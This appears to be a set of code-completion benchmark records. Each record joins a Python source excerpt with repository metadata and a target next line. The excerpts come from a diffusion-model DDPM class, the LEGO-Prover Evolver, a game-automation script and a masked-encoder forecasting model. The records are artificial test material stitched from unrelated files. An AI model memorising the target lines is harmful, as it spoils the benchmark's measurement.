""" wild mixture of https://github.com/lucidrains/denoising-diffusion-pytorch/blob/7706bdfc6f527f58d33f84b7b522e61e6e3164b3/denoising_diffusion_pytorch/denoising_diffusion_pytorch.py https://github.com/openai/improved-diffusion/blob/e94489283bb876ac1477d5dd7709bbbd2d9902ce/improved_diffusion/gaussian_diffusion.py https://github.com/CompVis/taming-transformers -- merci """ __conditioning_keys__ = {'concat': 'c_concat', 'crossattn': 'c_crossattn', 'adm': 'y'} def disabled_train(self, mode=True): """Overwrite model.train with this function to make sure train/eval mode does not change anymore.""" return self def uniform_on_device(r1, r2, shape, device): return (r1 - r2) * torch.rand(*shape, device=device) + r2 class DDPM(pl.LightningModule): # classic DDPM with Gaussian diffusion, in image space def __init__(self, unet_config, timesteps=1000, beta_schedule="linear", loss_type="l2", ckpt_path=None, ignore_keys=[], load_only_unet=False, monitor="val/loss", use_ema=True, first_stage_key="image", image_size=256, channels=3, log_every_t=100, clip_denoised=True, linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3, given_betas=None, original_elbo_weight=0., v_posterior=0., # weight for choosing posterior variance as sigma = (1-v) * beta_tilde + v * beta l_simple_weight=1., conditioning_key=None, parameterization="eps", # all assuming fixed variance schedules scheduler_config=None, use_positional_encodings=False, learn_logvar=False, logvar_init=0., ): super().__init__() assert parameterization in ["eps", "x0"], 'currently only supporting "eps" and "x0"' self.parameterization = parameterization print(f"{self.__class__.__name__}: Running in {self.parameterization}-prediction mode") self.cond_stage_model = None self.clip_denoised = clip_denoised self.log_every_t = log_every_t self.first_stage_key = first_stage_key self.image_size = image_size # try conv? self.channels = channels self.use_positional_encodings = use_positional_encodings self.model = DiffusionWrapper(unet_config, conditioning_key) count_params(self.model, verbose=True) self.use_ema = use_ema if self.use_ema: self.model_ema = LitEma(self.model) print(f"Keeping EMAs of {len(list(self.model_ema.buffers()))}.") self.use_scheduler = scheduler_config is not None if self.use_scheduler: self.scheduler_config = scheduler_config self.v_posterior = v_posterior self.original_elbo_weight = original_elbo_weight self.l_simple_weight = l_simple_weight if monitor is not None: self.monitor = monitor if ckpt_path is not None: self.init_from_ckpt(ckpt_path, ignore_keys=ignore_keys, only_model=load_only_unet) self.register_schedule(given_betas=given_betas, beta_schedule=beta_schedule, timesteps=timesteps, linear_start=linear_start, linear_end=linear_end, cosine_s=cosine_s) self.loss_type = loss_type self.learn_logvar = learn_logvar self.logvar = torch.full(fill_value=logvar_init, size=(self.num_timesteps,)) self.ce_loss = nn.CrossEntropyLoss(reduction = "none") if self.learn_logvar: self.logvar = nn.Parameter(self.logvar, requires_grad=True) def register_schedule(self, given_betas=None, beta_schedule="linear", timesteps=1000, linear_start=1e-4, linear_end=2e-2, cosine_s=8e-3): if exists(given_betas): betas = given_betas else: betas = make_beta_schedule(beta_schedule, timesteps, linear_start=linear_start, linear_end=linear_end, cosine_s=cosine_s) alphas = 1. - betas alphas_cumprod = np.cumprod(alphas, axis=0) alphas_cumprod_prev = np.append(1., alphas_cumprod[:-1]) timesteps, = betas.shape self.num_timesteps = int(timesteps) self.linear_start = linear_start self.linear_end = linear_end assert alphas_cumprod.shape[0] == self.num_timesteps, 'alphas have to be defined for each timestep' to_torch = partial(torch.tensor, dtype=torch.float32) self.register_buffer('betas', to_torch(betas)) self.register_buffer('alphas_cumprod', to_torch(alphas_cumprod)) self.register_buffer('alphas_cumprod_prev', to_torch(alphas_cumprod_prev)) # calculations for diffusion q(x_t | x_{t-1}) and others self.register_buffer('sqrt_alphas_cumprod', to_torch(np.sqrt(alphas_cumprod))) self.register_buffer('sqrt_one_minus_alphas_cumprod', to_torch(np.sqrt(1. - alphas_cumprod))) self.register_buffer('log_one_minus_alphas_cumprod', to_torch(np.log(1. - alphas_cumprod))) self.register_buffer('sqrt_recip_alphas_cumprod', to_torch(np.sqrt(1. / alphas_cumprod))) self.register_buffer('sqrt_recipm1_alphas_cumprod', to_torch(np.sqrt(1. / alphas_cumprod - 1))) # calculations for posterior q(x_{t-1} | x_t, x_0) posterior_variance = (1 - self.v_posterior) * betas * (1. - alphas_cumprod_prev) / ( 1. - alphas_cumprod) + self.v_posterior * betas # above: equal to 1. / (1. / (1. - alpha_cumprod_tm1) + alpha_t / beta_t) self.register_buffer('posterior_variance', to_torch(posterior_variance)) # below: log calculation clipped because the posterior variance is 0 at the beginning of the diffusion chain self.register_buffer('posterior_log_variance_clipped', to_torch(np.log(np.maximum(posterior_variance, 1e-20)))) self.register_buffer('posterior_mean_coef1', to_torch( betas * np.sqrt(alphas_cumprod_prev) / (1. - alphas_cumprod))) self.register_buffer('posterior_mean_coef2', to_torch( (1. - alphas_cumprod_prev) * np.sqrt(alphas) / (1. - alphas_cumprod))) self.register_buffer("shift_coef", - to_torch(np.sqrt(alphas)) * (1. - self.alphas_cumprod_prev) / torch.sqrt(1. - self.alphas_cumprod)) self.register_buffer("ddim_coef", -self.sqrt_one_minus_alphas_cumprod) if self.parameterization == "eps": lvlb_weights = self.betas ** 2 / ( 2 * self.posterior_variance * to_torch(alphas) * (1 - self.alphas_cumprod)) elif self.parameterization == "x0": lvlb_weights = 0.5 * np.sqrt(torch.Tensor(alphas_cumprod)) / (2. * 1 - torch.Tensor(alphas_cumprod)) else: raise NotImplementedError("mu not supported") # TODO how to choose this term lvlb_weights[0] = lvlb_weights[1] self.register_buffer('lvlb_weights', lvlb_weights, persistent=False) assert not torch.isnan(self.lvlb_weights).all() @contextmanager def ema_scope(self, context=None): if self.use_ema: self.model_ema.store(self.model.parameters()) self.model_ema.copy_to(self.model) if context is not None: print(f"{context}: Switched to EMA weights") try: yield None finally: if self.use_ema: self.model_ema.restore(self.model.parameters()) if context is not None: print(f"{context}: Restored training weights") def init_from_ckpt(self, path, ignore_keys=list(), only_model=False): sd = torch.load(path, map_location="cpu") self.load_epoch = sd['epoch'] self.load_step = sd["global_step"] if "state_dict" in list(sd.keys()): sd = sd["state_dict"] keys = list(sd.keys()) for k in keys: for ik in ignore_keys: if k.startswith(ik): print("Deleting key {} from state_dict.".format(k)) del sd[k] missing, unexpected = self.load_state_dict(sd, strict=False) if not only_model else self.model.load_state_dict( sd, strict=False) print(f"Restored from {path} with {len(missing)} missing and {len(unexpected)} unexpected keys") if len(missing) > 0: print(f"Missing Keys: {missing}") if len(unexpected) > 0: print(f"Unexpected Keys: {unexpected}") def q_mean_variance(self, x_start, t): """ Get the distribution q(x_t | x_0). :param x_start: the [N x C x ...] tensor of noiseless inputs. :param t: the number of diffusion steps (minus 1). Here, 0 means one step. :return: A tuple (mean, variance, log_variance), all of x_start's shape. """
mean = (extract_into_tensor(self.sqrt_alphas_cumprod, t, x_start.shape) * x_start)
15
2023-10-07 09:58:07+00:00
12k
wiio12/LEGO-Prover
lego_prover/evolver.py
[ { "identifier": "SkillManager", "path": "lego_prover/agents/skill.py", "snippet": "class SkillManager:\n def __init__(\n self,\n rank = None,\n logger = None,\n ckpt_dir=\"ckpt\",\n skill_manager_lock=U.WithEmpty(),\n chroma_bridge: ChromaBridge = None\n ...
import os import re import random import traceback import lego_prover.utils as U import logging from lego_prover.agents.skill import SkillManager from lego_prover.env.chromas import ChromaBridge from lego_prover.env.isa_bridge import IsabelleEnv from langchain.prompts import SystemMessagePromptTemplate, HumanMessagePromptTemplate from lego_prover.utils.langchain_utils import LLMMixture
9,961
""" Generalize: Relax Constraints: Identify which assumptions or constraints can be relaxed without making the theorem false. Broaden Definitions: If a concept is defined very narrowly, see if a more general definition would also work. Identify Parameters: If numbers are used, identify them as parameters and explore how they might change. Extend Dimensions: If the problem is defined in a specific number of dimensions, consider if it holds in more or fewer dimensions. Identify Key Concepts: Determine the essential ideas, methods, or theorems that are crucial to solving the initial problem. Parameterize: If the problem involves specific numbers, generalize it by replacing these with variables. Isolate Techniques: Note any specific techniques used to solve the problem—these can often be applied elsewhere. Alter Conditions: Introduce small changes to the original problem (e.g., add constraints or relax some conditions) and attempt to solve it again. Scale Complexity: Try both simpler and more complicated versions of the problem to see how the approach adapts. Switch Domains: Apply the core principles or techniques to problems in other areas of mathematics or even other disciplines. Identify Similarities: Look for problems that seem unrelated but share the same core principle or solution technique. Draw Analogs: Sometimes, the structure of a problem in one area of mathematics mirrors the structure in another area. Recognizing these analogs can help you transfer knowledge. """ EVOLVE_TYPES = { "extend_dimensions": 0.1, "identify_key_concepts": 0.1, "parameterize": 0.1, "scale_complexity": 0.1, } GENERAL_TYPE = ["do_request"] class Evolver: def __init__( self, rank, isabelle_path, ckpt_dir, server_port, data_split="valid", skill_manager_lock=U.WithEmpty(), model_name="gpt-4", temperature=0.7, chroma_bridge: ChromaBridge = None, ) -> None: """ A class representing an evolver for the LEGO Prover system. Args: rank (int): The rank of the evolver. isabelle_path (str): The path to the Isabelle installation. ckpt_dir (str): The directory to save checkpoints. server_port (int): The port number for the Isabelle server. data_split (str, optional): The data split to use. Defaults to "valid". skill_manager_lock (Any, optional): A lock for the skill manager. Defaults to U.WithEmpty(). model_name (str, optional): The name of the language model to use. Defaults to "gpt-4". temperature (float, optional): The temperature for the language model. Defaults to 0.7. chroma_bridge (ChromaBridge): A bridge to the Chroma system. Defaults to None. """ self.logger = logging.getLogger(f'evolver-{rank}') self.ckpt_dir = ckpt_dir self.chroma_bridge = chroma_bridge self.skill_manager_lock = skill_manager_lock self.data_split = data_split self.llm = LLMMixture( model_name=model_name, temperature=temperature, request_timeout=16000, ) self.env = IsabelleEnv( logger=self.logger, isabelle_path=isabelle_path, server_port=server_port ) self.env.reset()
""" Generalize: Relax Constraints: Identify which assumptions or constraints can be relaxed without making the theorem false. Broaden Definitions: If a concept is defined very narrowly, see if a more general definition would also work. Identify Parameters: If numbers are used, identify them as parameters and explore how they might change. Extend Dimensions: If the problem is defined in a specific number of dimensions, consider if it holds in more or fewer dimensions. Identify Key Concepts: Determine the essential ideas, methods, or theorems that are crucial to solving the initial problem. Parameterize: If the problem involves specific numbers, generalize it by replacing these with variables. Isolate Techniques: Note any specific techniques used to solve the problem—these can often be applied elsewhere. Alter Conditions: Introduce small changes to the original problem (e.g., add constraints or relax some conditions) and attempt to solve it again. Scale Complexity: Try both simpler and more complicated versions of the problem to see how the approach adapts. Switch Domains: Apply the core principles or techniques to problems in other areas of mathematics or even other disciplines. Identify Similarities: Look for problems that seem unrelated but share the same core principle or solution technique. Draw Analogs: Sometimes, the structure of a problem in one area of mathematics mirrors the structure in another area. Recognizing these analogs can help you transfer knowledge. """ EVOLVE_TYPES = { "extend_dimensions": 0.1, "identify_key_concepts": 0.1, "parameterize": 0.1, "scale_complexity": 0.1, } GENERAL_TYPE = ["do_request"] class Evolver: def __init__( self, rank, isabelle_path, ckpt_dir, server_port, data_split="valid", skill_manager_lock=U.WithEmpty(), model_name="gpt-4", temperature=0.7, chroma_bridge: ChromaBridge = None, ) -> None: """ A class representing an evolver for the LEGO Prover system. Args: rank (int): The rank of the evolver. isabelle_path (str): The path to the Isabelle installation. ckpt_dir (str): The directory to save checkpoints. server_port (int): The port number for the Isabelle server. data_split (str, optional): The data split to use. Defaults to "valid". skill_manager_lock (Any, optional): A lock for the skill manager. Defaults to U.WithEmpty(). model_name (str, optional): The name of the language model to use. Defaults to "gpt-4". temperature (float, optional): The temperature for the language model. Defaults to 0.7. chroma_bridge (ChromaBridge): A bridge to the Chroma system. Defaults to None. """ self.logger = logging.getLogger(f'evolver-{rank}') self.ckpt_dir = ckpt_dir self.chroma_bridge = chroma_bridge self.skill_manager_lock = skill_manager_lock self.data_split = data_split self.llm = LLMMixture( model_name=model_name, temperature=temperature, request_timeout=16000, ) self.env = IsabelleEnv( logger=self.logger, isabelle_path=isabelle_path, server_port=server_port ) self.env.reset()
self.skill_manager = SkillManager(
0
2023-10-09 04:23:43+00:00
12k
StareAbyss/FoodsVsMouses_AutoAssistant
function/script/service/common.py
[ { "identifier": "key_down_up", "path": "function/common/bg_keyboard.py", "snippet": "def key_down_up(handle: HWND, key: str, interval_time: float = 0.05, sleep_time: float = 0.05):\r\n key_down(handle, key)\r\n sleep(interval_time)\r\n key_up(handle, key)\r\n sleep(sleep_time)\r" }, { ...
import copy import json import os import time import numpy as np from cv2 import imread, vconcat, imwrite from function.common.bg_keyboard import key_down_up from function.common.bg_mouse import mouse_left_click, mouse_left_moveto from function.common.bg_p_compare import find_p_in_w, loop_find_p_in_w, loop_find_ps_in_w, find_ps_in_w from function.common.bg_p_screenshot import capture_picture_png from function.get_paths import paths from function.script.scattered.gat_handle import faa_get_handle from function.script.scattered.get_list_battle_plan import get_list_battle_plan from function.script.scattered.get_list_card_battle import get_list_card_battle from function.script.scattered.get_list_card_room import get_list_card_room from function.script.scattered.print_grade import print_g from function.script.scattered.read_json_to_stage_info import read_json_to_stage_info from function.tools.create_battle_coordinates import create_battle_coordinates
7,388
class FAA: def __init__(self, channel="锑食", zoom=1.0, player="1P", character_level=1, is_use_key=True, is_auto_battle=True, is_auto_pickup=False): # 获取窗口句柄 self.channel = channel self.handle = faa_get_handle(channel=self.channel, mode="flash") self.handle_browser = faa_get_handle(channel=self.channel, mode="browser") self.handle_360 = faa_get_handle(channel=self.channel, mode="360") # 缩放 self.zoom = zoom # float 1.0 即百分百 # 角色|等级|是否使用钥匙|卡片|收集战利品 self.player = player self.character_level = character_level self.is_use_key = is_use_key self.is_auto_battle = is_auto_battle self.is_auto_pickup = is_auto_pickup # 每个副本的战斗都不一样的参数 使用内部函数调用更改 self.is_group = False self.battle_plan = None self.stage_info = None # 部分文件夹文件名 list self.card_recorded_battle = get_list_card_battle(with_extension=False) self.card_recorded_room = get_list_card_room(with_extension=False) # 调用战斗中 卡牌 和 格子位置 字典 # bp -> battle position
class FAA: def __init__(self, channel="锑食", zoom=1.0, player="1P", character_level=1, is_use_key=True, is_auto_battle=True, is_auto_pickup=False): # 获取窗口句柄 self.channel = channel self.handle = faa_get_handle(channel=self.channel, mode="flash") self.handle_browser = faa_get_handle(channel=self.channel, mode="browser") self.handle_360 = faa_get_handle(channel=self.channel, mode="360") # 缩放 self.zoom = zoom # float 1.0 即百分百 # 角色|等级|是否使用钥匙|卡片|收集战利品 self.player = player self.character_level = character_level self.is_use_key = is_use_key self.is_auto_battle = is_auto_battle self.is_auto_pickup = is_auto_pickup # 每个副本的战斗都不一样的参数 使用内部函数调用更改 self.is_group = False self.battle_plan = None self.stage_info = None # 部分文件夹文件名 list self.card_recorded_battle = get_list_card_battle(with_extension=False) self.card_recorded_room = get_list_card_room(with_extension=False) # 调用战斗中 卡牌 和 格子位置 字典 # bp -> battle position
self.bp_card, self.bp_cell = create_battle_coordinates(zoom)
15
2023-10-12 20:33:39+00:00
12k
SalesforceAIResearch/pretrain-time-series-cloudops
pretraining/model/backbone/masked_encoder.py
[ { "identifier": "TransformerEncoder", "path": "pretraining/model/backbone/layers/transformer.py", "snippet": "class TransformerEncoder(nn.Module):\n @validated()\n def __init__(\n self,\n d_model: int = 512,\n nhead: int = 8,\n dim_feedforward: int = 2048,\n drop...
from functools import cached_property from typing import Optional from einops import rearrange from gluonts.itertools import prod from gluonts.torch.distributions import DistributionOutput, StudentTOutput from gluonts.torch.modules.quantile_output import QuantileOutput from gluonts.torch.modules.feature import FeatureEmbedder from gluonts.torch.modules.loss import DistributionLoss, NegativeLogLikelihood from gluonts.torch.util import ( lagged_sequence_values, unsqueeze_expand, weighted_average, ) from torch import nn, Tensor from pretraining.model.backbone.layers.transformer import TransformerEncoder from util.torch.scaler import StdScaler, NOPScaler from util.torch.attn_mask import attn_mask from util.torch.ops import unsqueeze_dim, block from util.torch.distributions import ( IndependentStudentTOutput, MultivariateStudentTOutput, SQFOutput, ISQFOutput, FlowOutput, ) import torch
7,225
feat_static_real: Optional[Tensor] = None, feat_dynamic_real: Optional[Tensor] = None, past_feat_dynamic_real: Optional[Tensor] = None, feat_static_cat: Optional[Tensor] = None, feat_dynamic_cat: Optional[Tensor] = None, past_feat_dynamic_cat: Optional[Tensor] = None, loss_fn: DistributionLoss = NegativeLogLikelihood(), ) -> Tensor: out_dict = self.representations( future_target, future_observed_values, past_target, past_observed_values, past_time_feat, future_time_feat, feat_static_real, feat_dynamic_real, past_feat_dynamic_real, feat_static_cat, feat_dynamic_cat, past_feat_dynamic_cat, ) out = out_dict["representations"] loc = out_dict["loc"] scale = out_dict["scale"] if isinstance(self.distr_output, DistributionOutput): distr_params = self.out_proj(out) preds = self.distr_output.distribution(distr_params, loc=loc, scale=scale) loss_per_dim = loss_fn(preds, future_target) elif isinstance(self.distr_output, QuantileOutput): preds = self.out_proj(out) * scale + loc loss_per_dim = self.distr_output.quantile_loss( preds, future_target ) else: raise ValueError( f"Unknown distr_output type {type(self.distr_output).__name__}." ) if self.target_shape: future_observed_values = future_observed_values.min(dim=-1).values if len(loss_per_dim.shape) > len(future_observed_values.shape): if isinstance(self.distr_output, (QuantileOutput, SQFOutput, ISQFOutput)): loss_per_dim = loss_per_dim.mean(-1) else: loss_per_dim = loss_per_dim.sum(-1) loss_per_batch = weighted_average( loss_per_dim, future_observed_values, dim=1, ) return loss_per_batch.mean() def forward( self, past_target: Tensor, past_observed_values: Tensor, past_time_feat: Tensor, future_time_feat: Tensor, feat_static_real: Optional[Tensor] = None, feat_dynamic_real: Optional[Tensor] = None, past_feat_dynamic_real: Optional[Tensor] = None, feat_static_cat: Optional[Tensor] = None, feat_dynamic_cat: Optional[Tensor] = None, past_feat_dynamic_cat: Optional[Tensor] = None, num_parallel_samples: Optional[int] = None, quantiles: Optional[list[float]] = None, ) -> Tensor: num_parallel_samples = num_parallel_samples or self.num_parallel_samples quantiles = quantiles or self.quantiles encoder_targets, encoder_feats, loc, scale = self.create_encoder_inputs( past_target, past_observed_values, past_time_feat, feat_static_real, feat_dynamic_real, past_feat_dynamic_real, feat_static_cat, feat_dynamic_cat, past_feat_dynamic_cat, ) encoder_inputs = self.decoder_in_proj( torch.cat([encoder_targets, encoder_feats], dim=-1) ) decoder_targets, decoder_feats = self.create_decoder_inputs( scale, future_time_feat, feat_static_real, feat_dynamic_real, feat_static_cat, feat_dynamic_cat, ) future_observed_values = torch.ones( (past_observed_values.size(0), self.prediction_length) + past_observed_values.shape[2:], device=past_observed_values.device, ) decoder_inputs = ( self.decoder_in_proj(torch.cat([decoder_targets, decoder_feats], dim=-1)) + self.mask_token ) representations = self.decoder( torch.cat([encoder_inputs, decoder_inputs], dim=1), attn_mask=self.get_attn_mask(past_observed_values, future_observed_values), )[:, -self.prediction_length :] if isinstance(self.distr_output, QuantileOutput): preds = self.out_proj(representations) * scale + loc else: distr_params = self.out_proj(representations) if isinstance( self.distr_output,
class MaskedEncoderModel(nn.Module): def __init__( self, freq: str, context_length: int, prediction_length: int, time_dim: int, static_dim: int, dynamic_dim: int, past_dynamic_dim: int, static_cardinalities: list[int], dynamic_cardinalities: list[int], past_dynamic_cardinalities: list[int], static_embedding_dim: list[int], dynamic_embedding_dim: list[int], past_dynamic_embedding_dim: list[int], lags_seq: list[int], scaling: bool = True, distr_output: DistributionOutput | QuantileOutput = StudentTOutput(), num_parallel_samples: int = 100, quantiles: Optional[list[float]] = None, # PEs positional_encoding: Optional[str] = None, # Attn Mask attn_mask_type: Optional[str] = None, # Model args d_model: int = 32, nhead: int = 8, num_encoder_layers: int = 6, num_decoder_layers: int = 6, dim_feedforward: int = 256, activation: str = "gelu", dropout: float = 0.1, ): super().__init__() self.freq = freq self.context_length = context_length self.prediction_length = prediction_length self.time_dim = time_dim self.static_dim = static_dim self.dynamic_dim = dynamic_dim self.past_dynamic_dim = 0 self.static_cardinalities = static_cardinalities self.dynamic_cardinalities = dynamic_cardinalities self.past_dynamic_cardinalities = [] self.static_embedding_dim = static_embedding_dim self.dynamic_embedding_dim = dynamic_embedding_dim self.past_dynamic_embedding_dim = [] self.lags_seq = lags_seq self.num_parallel_samples = num_parallel_samples self.quantiles = quantiles or (0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9) self.scaling = scaling self.d_model = d_model self.nhead = nhead self.num_encoder_layers = num_encoder_layers self.num_decoder_layers = num_decoder_layers self.dim_feedforward = dim_feedforward self.activation = activation self.dropout = dropout # Output self.distr_output = distr_output self.out_proj = distr_output.get_args_proj(d_model) self.target_shape = distr_output.event_shape self.target_dim = prod(self.target_shape) # Scaling self.scaler = ( StdScaler(dim=1, keepdim=True) if scaling else NOPScaler(dim=1, keepdim=True) ) # Transformer use_sinusoidal_embeds = False use_learned_embeds = False use_rotary_embeds = False use_scaled_rotary_embeds = False max_len = None interp_len = None if positional_encoding is None: pass elif positional_encoding == "sinusoidal": use_sinusoidal_embeds = True max_len = context_length + prediction_length elif positional_encoding == "learned": use_learned_embeds = True max_len = context_length + prediction_length elif positional_encoding == "sinusoidal_interpolation": use_sinusoidal_embeds = True max_len = context_length + prediction_length interp_len = 480 + 48 # hardcoded to experiments elif positional_encoding == "rotary": use_rotary_embeds = True elif positional_encoding == "scaled_rotary": use_scaled_rotary_embeds = True else: raise ValueError( f"positional_encoding must be one of [sinusoidal, sinusoidal_interpolation, alibi, rotary, scaled_rotary], " f"got {positional_encoding}" ) self.decoder = TransformerEncoder( d_model=d_model, nhead=nhead, dim_feedforward=dim_feedforward, dropout=dropout, activation=activation, num_layers=num_encoder_layers, norm_first=True, max_len=max_len, interp_len=interp_len, use_sinusoidal_embeds=use_sinusoidal_embeds, use_learned_embeds=use_learned_embeds, use_rotary_embeds=use_rotary_embeds, use_scaled_rotary_embeds=use_scaled_rotary_embeds, ) self.attn_mask_type = attn_mask_type # Embeddings self.mask = nn.Embedding(1, d_model) self.static_cat_embedder = ( FeatureEmbedder( cardinalities=static_cardinalities, embedding_dims=static_embedding_dim, ) if len(static_cardinalities) > 0 else None ) self.dynamic_cat_embedder = ( FeatureEmbedder( cardinalities=dynamic_cardinalities, embedding_dims=dynamic_embedding_dim, ) if len(dynamic_cardinalities) > 0 else None ) self.decoder_in_proj = nn.Linear( in_features=self.decoder_dim, out_features=d_model ) @cached_property def decoder_dim(self) -> int: return ( self.target_dim * (len(self.lags_seq) + 1) # encoder considers current time step + self.time_dim + self.static_dim + self.dynamic_dim + sum(self.static_embedding_dim) + sum(self.dynamic_embedding_dim) + self.target_dim # log(scale) ) @cached_property def past_length(self) -> int: return self.context_length + max(self.lags_seq) @staticmethod def lagged_sequence_values( indices: list[int], prior_sequence: Tensor, sequence: Tensor, dim: int, ) -> Tensor: lags = lagged_sequence_values(indices, prior_sequence, sequence, dim) if lags.dim() > 3: lags = lags.reshape(lags.shape[0], lags.shape[1], -1) return lags @property def mask_token(self) -> Tensor: return self.mask.weight.unsqueeze(0) def get_attn_mask(self, past_observed_values: Tensor, future_observed_values: Tensor) -> Tensor: if self.attn_mask_type is None: mask = attn_mask( torch.cat( [ past_observed_values[:, -self.context_length:], future_observed_values, ], dim=1, ), device=past_observed_values.device, ) elif self.attn_mask_type == "full_causal": mask = attn_mask( torch.cat( [ torch.ones_like(past_observed_values[:, -self.context_length:]), future_observed_values, ], dim=1, ), is_causal=True, device=past_observed_values.device, ) elif self.attn_mask_type == "decoder_causal": context_prediction_query_context_key = attn_mask( past_observed_values[:, -self.context_length:], query_length=self.context_length + future_observed_values.size(1), device=past_observed_values.device, ) context_query_prediction_key = block( True, self.context_length, sz2=future_observed_values.size(1), bsz=(past_observed_values.size(0),), device=past_observed_values.device, ) prediction_query_prediction_key = attn_mask( future_observed_values, is_causal=True, device=past_observed_values.device ) context_prediction_query_prediction_key = torch.cat( [context_query_prediction_key, prediction_query_prediction_key], dim=1 ) mask = torch.cat([context_prediction_query_context_key, context_prediction_query_prediction_key], dim=-1) else: raise ValueError( f"attn_mask_type must be one of [None, full_causal, decoder_causal], got {self.attn_mask_type}" ) return mask def create_encoder_inputs( self, past_target: Tensor, past_observed_values: Tensor, past_time_feat: Tensor, feat_static_real: Optional[Tensor] = None, feat_dynamic_real: Optional[Tensor] = None, past_feat_dynamic_real: Optional[Tensor] = None, feat_static_cat: Optional[Tensor] = None, feat_dynamic_cat: Optional[Tensor] = None, past_feat_dynamic_cat: Optional[Tensor] = None, ) -> tuple[Tensor, Tensor, Tensor, Tensor]: # Targets context = past_target[:, -self.context_length :] observed_context = past_observed_values[:, -self.context_length :] scaled_context, loc, scale = self.scaler(context, observed_context) scaled_pre_context = (past_target[:, : -self.context_length] - loc) / scale encoder_targets = self.lagged_sequence_values( [0] + self.lags_seq, scaled_pre_context, scaled_context, dim=1 ) # Features log_scale = torch.log(scale).view(scale.shape[0], -1) static_feats = [log_scale] if self.time_dim > 0: time_feat = past_time_feat[:, -self.context_length:] dynamic_feats = [time_feat] else: dynamic_feats = [] if feat_static_real is not None: static_feats.append(feat_static_real) if feat_dynamic_real is not None: dynamic_feats.append( feat_dynamic_real[ :, self.past_length - self.context_length : self.past_length ] ) if feat_static_cat is not None and self.static_cat_embedder is not None: static_feats.append(self.static_cat_embedder(feat_static_cat)) if feat_dynamic_cat is not None and self.dynamic_cat_embedder is not None: dynamic_cat_embed = self.dynamic_cat_embedder( feat_dynamic_cat[ :, self.past_length - self.context_length : self.past_length ] ) dynamic_feats.append(dynamic_cat_embed) static_feats = unsqueeze_expand( torch.cat(static_feats, dim=-1), dim=1, size=self.context_length ) if len(dynamic_feats) > 0: dynamic_feats = torch.cat(dynamic_feats, dim=-1) encoder_feats = torch.cat([static_feats, dynamic_feats], dim=-1) else: encoder_feats = static_feats return encoder_targets, encoder_feats, loc, scale def create_decoder_inputs( self, scale: Tensor, future_time_feat: Tensor, feat_static_real: Optional[Tensor] = None, feat_dynamic_real: Optional[Tensor] = None, feat_static_cat: Optional[Tensor] = None, feat_dynamic_cat: Optional[Tensor] = None, ) -> tuple[Tensor, Tensor]: # Features log_scale = torch.log(scale).view(scale.shape[0], -1) static_feats = [log_scale] if self.time_dim > 0: dynamic_feats = [future_time_feat] else: dynamic_feats = [] if feat_static_real is not None: static_feats.append(feat_static_real) if feat_dynamic_real is not None: dynamic_feats.append(feat_dynamic_real[:, -self.prediction_length :]) if feat_static_cat is not None and self.static_cat_embedder is not None: static_feats.append(self.static_cat_embedder(feat_static_cat)) if feat_dynamic_cat is not None and self.dynamic_cat_embedder is not None: dynamic_feats.append( self.dynamic_cat_embedder( feat_dynamic_cat[:, -self.prediction_length :] ) ) static_feats = unsqueeze_expand( torch.cat(static_feats, dim=-1), dim=1, size=self.prediction_length ) if len(dynamic_feats) > 0: dynamic_feats = torch.cat(dynamic_feats, dim=-1) decoder_feats = torch.cat([static_feats, dynamic_feats], dim=-1) else: decoder_feats = static_feats target_dim = self.decoder_dim - decoder_feats.size(-1) decoder_targets = torch.zeros( (decoder_feats.size(0), self.prediction_length, target_dim), device=decoder_feats.device, ) return decoder_targets, decoder_feats def representations( self, future_target: Tensor, future_observed_values: Tensor, past_target: Tensor, past_observed_values: Tensor, past_time_feat: Tensor, future_time_feat: Tensor, feat_static_real: Optional[Tensor] = None, feat_dynamic_real: Optional[Tensor] = None, past_feat_dynamic_real: Optional[Tensor] = None, feat_static_cat: Optional[Tensor] = None, feat_dynamic_cat: Optional[Tensor] = None, past_feat_dynamic_cat: Optional[Tensor] = None, ) -> dict[str, Tensor]: encoder_targets, encoder_feats, loc, scale = self.create_encoder_inputs( past_target, past_observed_values, past_time_feat, feat_static_real, feat_dynamic_real, past_feat_dynamic_real, feat_static_cat, feat_dynamic_cat, past_feat_dynamic_cat, ) decoder_targets, decoder_feats = self.create_decoder_inputs( scale, future_time_feat, feat_static_real, feat_dynamic_real, feat_static_cat, feat_dynamic_cat, ) encoder_inputs = self.decoder_in_proj( torch.cat([encoder_targets, encoder_feats], dim=-1) ) decoder_inputs = ( self.decoder_in_proj(torch.cat([decoder_targets, decoder_feats], dim=-1)) + self.mask_token ) representations = self.decoder( torch.cat([encoder_inputs, decoder_inputs], dim=1), attn_mask=self.get_attn_mask(past_observed_values, future_observed_values), )[:, -self.prediction_length :] return { "representations": representations, "loc": loc, "scale": scale, } def loss( self, future_target: Tensor, future_observed_values: Tensor, past_target: Tensor, past_observed_values: Tensor, past_time_feat: Tensor, future_time_feat: Tensor, feat_static_real: Optional[Tensor] = None, feat_dynamic_real: Optional[Tensor] = None, past_feat_dynamic_real: Optional[Tensor] = None, feat_static_cat: Optional[Tensor] = None, feat_dynamic_cat: Optional[Tensor] = None, past_feat_dynamic_cat: Optional[Tensor] = None, loss_fn: DistributionLoss = NegativeLogLikelihood(), ) -> Tensor: out_dict = self.representations( future_target, future_observed_values, past_target, past_observed_values, past_time_feat, future_time_feat, feat_static_real, feat_dynamic_real, past_feat_dynamic_real, feat_static_cat, feat_dynamic_cat, past_feat_dynamic_cat, ) out = out_dict["representations"] loc = out_dict["loc"] scale = out_dict["scale"] if isinstance(self.distr_output, DistributionOutput): distr_params = self.out_proj(out) preds = self.distr_output.distribution(distr_params, loc=loc, scale=scale) loss_per_dim = loss_fn(preds, future_target) elif isinstance(self.distr_output, QuantileOutput): preds = self.out_proj(out) * scale + loc loss_per_dim = self.distr_output.quantile_loss( preds, future_target ) else: raise ValueError( f"Unknown distr_output type {type(self.distr_output).__name__}." ) if self.target_shape: future_observed_values = future_observed_values.min(dim=-1).values if len(loss_per_dim.shape) > len(future_observed_values.shape): if isinstance(self.distr_output, (QuantileOutput, SQFOutput, ISQFOutput)): loss_per_dim = loss_per_dim.mean(-1) else: loss_per_dim = loss_per_dim.sum(-1) loss_per_batch = weighted_average( loss_per_dim, future_observed_values, dim=1, ) return loss_per_batch.mean() def forward( self, past_target: Tensor, past_observed_values: Tensor, past_time_feat: Tensor, future_time_feat: Tensor, feat_static_real: Optional[Tensor] = None, feat_dynamic_real: Optional[Tensor] = None, past_feat_dynamic_real: Optional[Tensor] = None, feat_static_cat: Optional[Tensor] = None, feat_dynamic_cat: Optional[Tensor] = None, 